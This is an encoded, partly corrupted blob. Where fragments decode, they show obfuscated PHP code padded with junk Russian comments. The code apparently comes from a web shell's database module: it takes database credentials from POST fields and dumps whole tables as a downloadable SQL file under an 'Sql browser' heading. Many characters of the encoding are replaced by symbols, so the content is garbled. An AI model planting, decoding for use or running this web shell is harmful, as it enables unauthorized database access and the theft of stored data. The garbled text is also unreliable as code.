OwogICAgICAgICAgICAgICAgICAgIHJl@HVybiAvKiA8QXZvbj46INCU0LDQttC1INC90LUg0L/RgNC+0LrQsNGC0LjQu9G%0Y8hICovCiAgICAgICAgICAgICAgICAgICAgICAgIG~ycm~5KC@m*W$lJyA9Pi%pbX%sb2RlKCJcbiIsICRyKSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0@XJuIC8qID$QZXRlcj46INCvINCy0LXRg@GMINC40LfQs9C+0LLQv@GP0LrQsNC70YHRjyEgKi8KICAgICAgICAgICAgICAgIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgZnVuY^Rpb24gLyogPE~2b24+OiDQkCDRj@GC0L7RgiDQtNC+0LvQs@C+0YLRgNGP0YEg0LTQsNC20LUg0L^QtSDQv9C+0LrQsNGC0LDQu9G%0Y8g0L^QsCDQv@C40YUsINC+0L^QuCDQs@GL0LvQuCDQt9C70YvQtSEgKi8KICAgICAgIC%k@W1wKCR0YWJsZSwgJGZwID0gZm~sc2UpCiAgICAgICAgewogICAgICAgICAgIC%_@2l0Y2ggKCR0*Gl_LT50eX%lKS%7CiAgICAgICAgICAgICAgIC%jYXNlIC8qID$Qb2$pY2VtYW4+OiDQktG%0ZEg0L/QvtC90Y/RgtC90L4uLi4g0JTQsNCy0LDQu@GC0LUg0L/QviDQv9C+0YDRj9C00LrRgy4g0J^QsNC^0L7QstC40YLQtSDRg@Cy0L7QuCDQuNC80LXQv@CwLiAqLwogICAgICAgICAgICAgICAgJ215c^~sJ_oKICAgICAgICAgICAgICAgICAgICAkcmV_ID0gJHRo*XMtPn~1ZXJ5KC@TSE9XIENSRU~URS%UQUJMRS%gJyAuICR0YWJsZSAuIC@gJyk7CiAgICAgICAgICAgICAgICAgICAgJGNyZW~0ZSA9IG15c^~sX2Zl@GNoX2~ycm~5KCRyZXMpOwogICAgICAgICAgICAgICAgICAgICR_cWwgPSAkY^JlYXRlW^Jv@W5kKDAgKyAwLjM_M_M_M_M_M_M_M_M_ICsgMC4_M_M_M_M_M_M_M_M_MyArIDAuM_M_M_M_M_M_M_M_M_MpXSAuICI7XG4iOwogICAgICAgICAgICAgICAgICAgIGlmICgkZnApIGZ^cml0ZSgkZnAsICR_cWwpOy%lbHNlIC8qID$QZXRlcj46IC4uLnIgZy%1IGYgYS%uLi4uICovCiAgICAgICAgICAgICAgICAgICAgZWNobygkc^~sKTsKICAgICAgICAgICAgICAgICAgICAk@Ghpcy0+cXVlcnkoJ1N~TEVDVCAqIEZST00gYCcgLiAk@G~ibGUgLiAnYCcpOwogICAgICAgICAgICAgICAgICAgICRpID0gcm91bmQoMCk7CiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPS%0cnVlOwogICAgICAgICAgICAgICAgICAgIH@o*W$lICgk*XRlbSA9ICR0*Gl_LT5mZXRj*CgpKS%7CiAgICAgICAgICAgICAgICAgICAgICAgICR_cWwgPSAnJ_sKICAgICAgICAgICAgICAgICAgICAgICAg*WYgKCRpICUgcm91bmQoMCArIDEwMDApID09IC8qID$%@m9uPjogUGV0ZXIgUGV_enluc2tpICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgIC%yb^VuZCgwKQogICAgICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZW~kID0g@HJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR_cWwgPSAiO1$uXG4iOwogICAgICAgICAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgICAgICAgICAgICAgICRjb2$1bW5_ID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZW~j*CAoJGl0ZW0gLyogP~%l@GVyPjog0KMg0YLQt@C$0Y8g0L/QvtC70Y_Rg@C60LDRjyDRhNCw0L_QuNC70LjRjyEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXMgLyogP~%l@GVyPjog0JXQs9C+INC90LXQvtC$0YXQvtC00LjQvNC+INCw0YDQt@G%0YLQvtCy0LDRgtGMLCDRgtCw0LwsINCyINGC0Y7RgNGM0L_RgyDQv9C+0YHQsNC00LjRgtGMINC40LvQuCDQt@GJ0ZEg0LrRg9C00LAsINC90YMsINCyINC+0LHRi@C10LwsINC^0LDQutGA0YvRgtGMINC90LDQstG%0LXQs9C00LAg0LXQs9C+ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk*yA9PiAk@ikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg*WYgKCR2IC8qID$%@m9uPjog0J7QvSDQv@Cw0Lwg0LbQuNC^0L^RjCDRgNCw0LfRgNGD0YjQuNC7INGD0LbQtSEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9PT0gLyogPERh@mlkIEJsYWluZT46ID$pbi%0*GUgcG9s*WNlbW~uJ^Mgc^Vp@D4g0KXQvtGA0L7RiNC+Li4uINCvINC/0L7Rg@C80L7RgtGA0Y4sINGH0YLQviDRjyDRg@C80L7Qs9GDINC00LvRjyDQstCw0YEg0YHQtNC10LvQsNGC0YwuLi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%u@W$sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApICRp@GVtWyRrXSA9ICJOVU$MIjsgZW$_ZWlmIChpc19pbnQoJHYpKSAk*XRlbVsk*10gPSAk@jsgZW$_ZSAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4LCDRhNCw0Log0L_QvtC5INC80L7Qt9C_ISEhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAk*XRlbVsk*10gPSAiJyIgLi%AbXl_cW$fcmVhb~9lc2NhcGVfc^Ry*W5nKCR2KSAuICInIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2$1bW5_W10gPSAiYCIgLiAk*yAuICJgIjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgIC%pZiAoJGhlYWQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR_cWwgLyogP~%l@GVyPjog0KfRkSDQt9CwING~0YPQu@C90Y8sINGR0L_QsNC90LDRgNC+0L7QvtC+0L7RgiEhISDQryDRi@Cw0YEg0L7Qs@C+0YHRg@GD0YHRjCEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuPSAvKiA8PT09PT1lbmQgb2YgcG~y@D09PT09PiAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC@JTlN~UlQgSU5UTy%gJyAuICR0YWJsZSAuIC@gICgnIC4g*W1wbG9kZSgiLCAiLCAkY29s@W1ucykgLiAiKS%WQU$VRVMgXG5c@CgiIC4g*W1wbG9kZSgiLCAiLCAk*XRlbSkgLiAnKSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAk*GVhZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgIC%9IGVsc2UgLyogPD09PT09c^RyZWV0IG1hZ2ljPT09PT0+ICovCiAgICAgICAgICAgICAgICAgICAgICAgICR_cWwgLyogPERh@mlkIEJsYWluZT46INCQ0LPQsCwg0LLQvtGCINGN0YLQuCDRgNC10LHRj9GC0LAuLi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC49IC8qID$QZXRlcj46INC@0LXQv@C10L^Qt@C90LXQv@C1ISEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICJcbl$0LCgiIC4g*W1wbG9kZSgiLCAiLCAk*XRlbSkgLiAnKSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZnApIGZ^cml0ZSgkZnAsICR_cWwpOy%lbHNlIC8qID$%@m9uPjog0J^Qt@GCLCDQv@C10YIsINCU0Y^QstC40LQg0JHQu9C10LnQvSwg0L^Qt@GCISAqLwogICAgICAgICAgICAgICAgICAgICAgIC%lY2hvKCR_cWwpOwogICAgICAgICAgICAgICAgICAgICAgICAk*SsrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgIC%pZiAoISRoZW~kKS%pZiAoJGZwKS%m@^Jp@GUoJGZwLCAiO1$uXG4iKTsgZW$_ZSAvKiA8RG~2*WQgQm$h*W5lPjog0K8g0LTQt@C70LDRjiDQvtG%0L7Qs@GD0Y4sINGD0LvQuNGH0L^Rg9GOINC80LDQs9C40Y4uICovCiAgICAgICAgICAgICAgICAgICAgZWNobygiO1$uXG4iKTsKICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgICAgIGNhc2UgLyogPERh@mlkIEJsYWluZT46INC*0YLQviDRh@C+0YfQt@GCINGD0LLQuNC00LXRgtGMINC90LXQvNC90L7Qs9C+INC80LDQs9C40Lg/ICovCiAgICAgICAgICAgICAgICAncG@_cWwnOgogICAgICAgICAgICAgICAgICAgICR0*Gl_LT5$@WVyeSgnU0VMRUNUICogRlJPTSAnIC4gJHRhYm$lKTsKICAgICAgICAgICAgICAgICAgIC%^*GlsZSAoJGl0ZW0gPSAk@Ghpcy0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkY29s@W1ucyA9IG~ycm~5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRp@GVtIC8qID$%@m9uPjog0KfRkSDQvNGLINGC0LXQs@C1LCDQtNC+0LvQs@C+0YLRgNGP0YHRiyDQutCw0LrQuNC1L@C90LjQs@GD0LTRjD8g0J^Qt@GCLCDRg@C/0LDRg@C40LHQviEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXMgLyogP~%l@GVyPjog0J_RiyDRhtC10LvRi9C5INC00LXQv@GMINGI0L7Qv9C40LvQuNG%0YwsINC^0LDQvNCw0L^QsNC70LjRg@GMLCDRh@C+0YLQuNC8INC/0YDQvtG%0YLQviDQvtGC0LTQvtG~0L^Rg9GC0YwsINCy0YHRkSEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRp@GVtWyRrXSA9ICInIiAuIG~kZHNsYXNoZXMoJHYpIC4gIiciOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICRrOwogICAgICAgICAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgICAgICAgICAgICAgICR_cWwgPSAnSU5TRVJUIElOVE8gJyAuICR0YWJsZSAuICcgKCcgLi%pbX%sb2RlKCIsICIsICRjb2$1bW5_KSAuICcpI~Z%T~V~UyAoJyAuIGltcG$vZGUoIiwgIiwgJGl0ZW0pIC4gJyk7JyAuICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZnApIGZ^cml0ZSgkZnAsICR_cWwpOy%lbHNlIC8qID$EYXZpZC%CbG~pbmU+OiDQmCDQs9C00LUg0LLRiyDRiNC+0L/QuNC70LjRg@GMPyAqLwogICAgICAgICAgICAgICAgICAgICAgIC%lY2hvKCR_cWwpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgfQogICAgICAgICAgIC%yZXR1cm4gLyogP~%l@GVyPjog0JIg0L7QtNC40L0g0L_QsNC_0LDQtyDRh@C+0LTQuNC70Lgg0L^QvtCy0YvQuSEgKi8KICAgICAgICAgICAgICAgIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgZnVuY^Rpb24gLyogPE~2b24+OiDQntC9INC10YnRkSDQv@C1INGC0YDQt@C90LTQvtCy0YvQuSwg0YLRiyDQv9GA0L4g0L^Qt@C_0L4g0L^QtSDQt9C90LDQt@GI0YwuICovCiAgICAgICAgZHVtc~9jb2$1bW5_KCR0YWJsZSwgJGNvbHVtbnMsICRmcCA9IGZhbHNlKQogICAgICAgIHsKICAgICAgICAgICAgc^@p@GNoICgk@Ghpcy0+@HlwZSkgewogICAgICAgICAgICAgICAgY2~_ZSAvKiA8RG~2*WQgQm$h*W5lPjog0Jgg0YfQviDQutGD0L/QuNC70Lg/ICovCiAgICAgICAgICAgICAgICAnbXl_cWwnOgogICAgICAgICAgICAgICAgICAgICR_cWwgPSAiLS0iOwogICAgICAgICAgICAgICAgICAgIGlmICgkZnApIGZ^cml0ZSgkZnAsICR_cWwpOy%lbHNlIC8qID$%@m9uPjog0K8g0LrRg9C/0LjQuyDQt9C10LvQt@C90YvQuSDRg@Cy0LjRgtC10YAsINC10YHQu9C4INGC0Ysg0YLQsNC6ING~0L7Rh9C10YjRjCDQt9C90LDRgtGMISAqLwogICAgICAgICAgICAgICAgICAgIGVj*G8oJHN$bCk7CiAgICAgICAgICAgICAgICAgICAgJHRo*XMtPn~1ZXJ5KC@TRU$~Q1QgJyAuIGltcG$vZGUoJywgJywgJGNvbHVtbnMpIC4gJy%GUk9NIGAnIC4gJHRhYm$lIC4gJ2AnKTsKICAgICAgICAgICAgICAgICAgICAk*SA9IHJv@W5kKDApOwogICAgICAgICAgICAgICAgICAgICRoZW~kID0g@HJ1ZTsKICAgICAgICAgICAgICAgICAgIC%^*GlsZSAoJGl0ZW0gPSAk@Ghpcy0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc^~sID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgk*SAlIHJv@W5kKDAgKyA1MDAgKyA1MDApID09IC8qID$QZXRlcj46INCX0LXQu9C10L^Ri9C5ING%0LLQuNGC0LXRgCEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJv@W5kKDApCiAgICAgICAgICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPS%0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN$bCA9ICI7XG5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPS%hcnJheSgpOwogICAgICAgICAgICAgICAgICAgICAgIC%mb^JlYWNoICgk*XRlbSAvKiA8RG~2*WQgQm$h*W5lPjog0JjQv@GC0LXRgNC10YHQv@C+Li4uINCQINGC0Ysg0YPQstC10YDQt@C9LCDRh9GC0L4g0YLRiyDQv@C1INC60YPQv9C40Lsg0YLQt@C00LTQuCDQs@C10LDRgCwg0L/Qu9GO0YjQt@Cy0L7Qs9C+INC80LjRiNC60YM/ICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG~_IC8qID$%@m9uPjog0JTQsCwg0Y8g0YPQstC10YDQt@C9ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk*yA9PiAk@ikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg*WYgKCR2IC8qID$%@m9uPjog0KLQl@CU0JTQmCDQk@CY0KAhISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID09PSAvKiA8UGV0ZXI+OiDQp9GRINC^0LAg0YXQt@GA0YwhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICAgICAgICAgKSAk*XRlbVsk*10gPSAiTlVMTCI7IGVsc2VpZiAo*XNf*W50KCR2KSkgJGl0ZW1bJGt@ID0gJHY7IGVsc2UgLyogP~%l@GVyPjog0K0sINGC0Ysg0YfQviDRg@C00LXQu9Cw0Lst0YLQviwg0LA/ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGt@ID0gIiciIC4gQG15c^~sX^JlYW$fZXNjYX%lX^N0cmluZygk@ikgLiAiJyI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29s@W1uc1t@ID0gImAiIC4gJGsgLiAiYCI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAg*WYgKCRoZW~kKS%7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc^~sIC8qID$%@m9uPjog0JPQtNC1INC80L7QuSDRg@Cy0LjRgtC10YA/ICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLj0gLyogP~%l@GVyPjog0K^QuSwg0L7QvSDQutGD0L/QuNC7ING%0LLQuNGC0LXRgCwg0LAg0L7QvSDQuNG%0YfQt@C^LCDRj@GC0L4g0YLRiyDQt@C_0L4g0YHRgtGL0YDQuNC7PyDQn9GA0LjRgtGL0YDQuNC7ING%0LXQs@C1ING%0LLQuNGC0LXRgCwg0LTQsCDRj@GC0L4g0LLQvtGA0L7QstG%0YLQstC+ISDQntGC0LTQsNC5INC10LPQviDRg@Cy0LjRgtC10YAsING%0LLQvtC70L7Rh9GMISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC@JTlN~UlQgSU5UTy%gJyAuICR0YWJsZSAuIC@gICgnIC4g*W1wbG9kZSgiLCAiLCAkY29s@W1ucykgLiAiKS%WQU$VRVMgXG5c@CgiIC4g*W1wbG9kZSgiLCAiLCAk*XRlbSkgLiAnKSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAk*GVhZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgIC%9IGVsc2UgLyogPE~2b24+OiDQryDQv9C+0YLRgNCw0YLQuNC7IDQ4INC00L7Qu9C70LDRgNC+0LIsINGC0YssINGC0YPQv9C+0Lkg0Lgg0YPQs@C+0LPQuNC5INGE0L7QutGD0YHQv@C40LohINCT0LTQtSDQvtC9PyAqLwogICAgICAgICAgICAgICAgICAgICAgICAkc^~sIC8qID$QZXRlcj46INCf0LjRgtC10YAsINC_0LvRj9C90Ywg0YfQviDQv@CwINGC0LXQs@C1ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgLj0gLyogPE~2b24+OiDQp9GC0L4g0LfQsCDRh@C10YDQv@GPP_8/INC*0LDQuj8gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICJcbl$0LCgiIC4g*W1wbG9kZSgiLCAiLCAk*XRlbSkgLiAnKSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZnApIGZ^cml0ZSgkZnAsICR_cWwpOy%lbHNlIC8qID$QZXRlcj46INCSINCg0J7QoiDQnNC@0JUg0J^QntCT0JghISEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgZWNobygkc^~sKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGkrK_sKICAgICAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgICAgICAgICAg*WYgKCEk*GVhZCkg*WYgKCRmcCkgZn@y*XRlKCRmcCwgIjtcbl$uIik7IGVsc2UgLyogPE~2b24+OiDQryDQtNC10YDQttCw0Lsg0LIg0YDRg9C60LDRhSDQstC10YnQuCEgKi8KICAgICAgICAgICAgICAgICAgIC%lY2hvKCI7XG5cbiIpOwogICAgICAgICAgICAgICAgICAgIGJyZW~rOwogICAgICAgICAgICAgICAgY2~_ZSAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4ISAqLwogICAgICAgICAgICAgICAgJ^%nc^~sJ_oKICAgICAgICAgICAgICAgICAgICAk@Ghpcy0+cXVlcnkoJ1N~TEVDVCAnIC4g*W1wbG9kZSgnLCAnLCAkY29s@W1ucykgLiAnIEZST00gJyAuICR0YWJsZSk7CiAgICAgICAgICAgICAgICAgICAg@2hpbGUgKCRp@GVtID0gJHRo*XMtPmZl@GNoKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPS%hcnJheSgpOwogICAgICAgICAgICAgICAgICAgICAgIC%mb^JlYWNoICgk*XRlbSAvKiA8QXZvbj46INCQLCDQvtC9INGD0LbQtSDRgNCw0YHRgtGP0L^Rg9GC0YvQuSwg0YHQv9Cw0YHQuNC$0L4g0YLQt@C$0LUhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG~_IC8qID$QZXRlcj46INCh0LvRg9GI0LDQuSwg0L7Rg@GC0LDQv@C+0LLQuNG%0YwsINCwPyAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk*yA9PiAk@ikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGt@ID0gIiciIC4gYWRkc2$hc2hlcygk@ikgLiAiJyI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29s@W1uc1t@ID0gJGs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHN$bCA9IC@JTlN~UlQgSU5UTyAnIC4gJHRhYm$lIC4gJyAoJyAuIGltcG$vZGUoIiwgIiwgJGNvbHVtbnMpIC4gJykgVk~MVUVTICgnIC4g*W1wbG9kZSgiLCAiLCAk*XRlbSkgLiAnKTsnIC4gIl$uIjsKICAgICAgICAgICAgICAgICAgICAgICAg*WYgKCRmcCkgZn@y*XRlKCRmcCwgJHN$bCk7IGVsc2UgLyogPE~2b24+OiDQoNCw0YHRgtGP0L^Rg9C7ING%0LLQuNGC0LXRgCwg0Y8g0LXQs9C+INC00LDQttC1INC90LUg0L/QvtC90L7Rg@C40Lsg0LXRi@GRISAqLwogICAgICAgICAgICAgICAgICAgICAgIC%lY2hvKCR_cWwpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgfQogICAgICAgICAgIC%yZXR1cm4gLyogPERh@mlkIEJsYWluZT46INCt0LkuINCt0LksINGH0ZEg0YLRiyDQv9GM0ZHRiNGMPyAqLwogICAgICAgICAgICAgICAgZm~sc2U7CiAgICAgICAgfQogICAgfQoKICAgIDsKICAgICRkYiA9IG5l@yAvKiA8UGV0ZXI+OiDQntGA0LDQv@C2ING%0L7QtNGDINGPINC/0Y_RjiEg0KfRgtC+LCDQsiDQvNC10LTQstC10LTRjyDQv9GA0LXQstGA0LDRgtC40YjRjD8g0K8g0YHRgtCw0LrQsNC9L@GC0L4g0LTQt@GA0LbRgyEgKi8KICAgIERiQ2$hc^MoJ~9QT1NUWy@0eX%lJ10pOwogICAg*WYgKChAJ~9QT1NUWy@wMi@@ID09IC@kb^@ubG9hZCcpICYmIChAJ~9QT1NUWy@wMS@@ICE9IC@_ZW$lY^QnKSkgewogICAgICAgICRkYi0+Y29ubmVj@CgkX1%PU1RbJ^N$b~9ob^N0J10sICRfUE9TV~snc^~sX2$vZ2luJ10sICRfUE9TV~snc^~sX^%hc^MnXSwgJ~9QT1NUWy@_cW$fYm~_ZS@@KTsKICAgICAgICAkZGItPnNlbGVj@GRiKCRfUE9TV~snc^~sX2Jhc2UnXSk7CiAgICAgICAgc^@p@GNoICgkX1%PU1RbJ2NoYXJ_ZXQnXSkgewogICAgICAgICAgIC%jYXNlIC8qID$EYXZpZC%CbG~pbmU+OiDQntGA0LDQv@C2ING%0L7QtNGDPyDQnNC+0LbQt@GCINGH0ZEt0L^QuNGC0Ywg0LTRgNGD0LPQvtC1INC+0YDQsNC90LbQt@Cy0L7QtT8gKi8KICAgICAgICAgICAgIl@pbmRv@^MtMTI1MSI6CiAgICAgICAgICAgICAgICAkZGItPnNl@ENoYXJ_ZXQoJ2NwMTI1MScpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgLyogP~%l@GVyPjog0KfQviDQt@GJ0ZEg0L7RgNCw0L^QttC10LLQvtC1PyDQn@GDINGN0YLQviwg0L/Qt@GH0LXQv@GM0LrQuD8gKi8KICAgICAgICAgICAgIlVURi04IjoKICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNl@Cgn@XRmOCcpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgLyogP~%l@GVyPjog0J/Ql@Cn0JXQn@Cs0JrQmCEhISDQo@GC0YDQt@C70Y/RgtGML@C60L7Qu9C+0YLQuNGC0YwhICovCiAgICAgICAgICAgICJLT0k4LVIiOgogICAgICAgICAgICAgICAgJGRiLT5_ZXRD*G~yc2V0KC@rb2k4cicpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgLyogP~%l@GVyPjog0J/Ql@Cn0JXQn@Cs0JrQmCEhISDQn9C10YfQt@C90Y_QutC4ISDQn9C10YfQt@C90Y_QutC4ISDQn9C10YfQt@C90Y_QutC4ISAqLwogICAgICAgICAgICAiS09JOC1VIjoKICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNl@Cgn*29pOHUnKTsKICAgICAgICAgICAgICAgIGJyZW~rOwogICAgICAgICAgIC%jYXNlIC8qID$QZXRlcj46INCT0LTQtSDQvtGA0LDQv@C2ING%0L7QtNCwPyDQotGLINGH0L4g0LTQt@C70LDQt@GI0Ywg0LLQvtC+0LHRi@C1LCDRgtGLINGH0L4g0LTQt@C70LDQt@GI0Yw/ICovCiAgICAgICAgICAgICJjcDg2NiI6CiAgICAgICAgICAgICAgICAkZGItPnNl@ENoYXJ_ZXQoJ2NwODY2Jyk7CiAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgIC%9CiAgICAgICAg*WYgKGVtcHR5KCRfUE9TV~snZmlsZS@@KSkgewogICAgICAgICAgIC%vYl9_@G~y@Cgib2JfZ^poYW5kbGVyIiwgcm91bmQoMCArIDIwNDggKyAyMDQ4KSk7CiAgICAgICAgICAgIGhlYWRlcigiQ29u@GVu@C1E*XNwb^Np@GlvbjogYXR0YWNobWVu@DsgZmlsZW5hbWU9ZHVtcC5_cWwiKTsKICAgICAgICAgICAg*GVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcG$h*W4iKTsKICAgICAgICAgICAg*WYgKGVtcHR5KCRfUE9TV~snY29s@W1ucy@@KSkgZm9yZW~j*CAoJ~9QT1NUWy@0YmwnXS%hcyAvKiA8QXZvbj46INCjINC80LXQv@GPINCy0L4g0YDRgtGDINC+0YDQsNC90LYg0YHQvtC00LAhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2KSAkZGItPmR1bXAoJHYpOy%lbHNlIC8qID$QZXRlcj46INCvINC90LAg0LjQt9C80LXQv@C1LCDRjyDQv@CwINC40LfQvNC10L^QtSEgKi8KICAgICAgICAgICAgJGRiLT5k@W1wX2NvbHVtbnMoJ~9QT1NUWy@0YWJsZS@@LCAkX1%PU1RbJ2NvbHVtbnMnXSk7CiAgICAgICAgICAgIGV4*XQ7CiAgICAgICAgfS%lbHNl*WYgKCRmcCA9IE%mb^%lbigkX1%PU1RbJ2ZpbGUnXSwgJ^cnKSkgewogICAgICAgICAgIC%pZiAoZW1w@HkoJ~9QT1NUWy@jb2$1bW5_J10pKS%7CiAgICAgICAgICAgICAgIC%mb^JlYWNoICgkX1%PU1RbJ^RibC@@IG~_IC8qID$%@m9uPjog0JrQsNC60LDRjyDRh@C10YDQv@GPLCDRgtGLINC/0L7Qu9C+0LbQuNC7INC10ZEg0L_Qv@C1INCyINGA0L7RgiEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICR2KSAkZGItPmR1bXAoJHYsICRmcCk7CiAgICAgICAgICAgIH0gZW$_ZS%7CiAgICAgICAgICAgICAgICAkZGItPmR1bX%fY29s@W1ucyhpc19hcnJheSgkX1%PU1RbJ^RibC@@KSA/ICRfUE9TV~sn@GJsJ11bcm91bmQoMCl@IDogJ~9QT1NUWy@0YmwnXSwgJ~9QT1NUWy@jb2$1bW5_J10sICRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmNsb^NlKCRmcCk7CiAgICAgICAgICAgIHVuc2V0KCRfUE9TV~sncDInXSk7CiAgICAgICAgfS%lbHNlIC8qID$QZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L^QvtC_0LgsINGC0Ysg0L/RgNC10LrRgNCw0YLQuNGI0Ywg0Y^RgtC+INC40LvQuCDQv@C10YIsINC00LXQvNC+0L0sINC+0YHRgtCw0L^QvtCy0LjRg@GMLCDQsiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4ISAqLwogICAgICAgIGRpZSgnPHNjcmlw@D5hbGVy@CgiRXJyb^IhIENhblwn@C%vcGVuIGZpbGUiKTt^*W5kb^cu*Gl_@G9yeS5iYWNrKC0$KTwvc2Ny*X%0PicpOwogICAgfQogICAg@^NvSGVhZGVyKCk7CiAgIC%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiDQn@GDINC70LDQtNC90L4t0LvQsNC00L^Qviwg0YDQt@C$0Y/RgtCwLCDQt9C90LDQt@GC0LUsINGPING~0L7Rh9GDINC/0L7QutCw0LfQsNGC0Ywg0LLQsNC8INC60L7QtS^Rh9GC0L4g0LTQt@C50YHRgtCy0LjRgtC10LvRjNC90L4g0LrRgNGD0YLQvtC1Li4uICovCiAgICAgICAgIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID$oMT5TcWwgYnJv@^Nlcjwv*DE+PGRp@i%jbG~_c_1jb250ZW50PgogICAgICAgICAgICAgICAgICAgICAgICAgICAg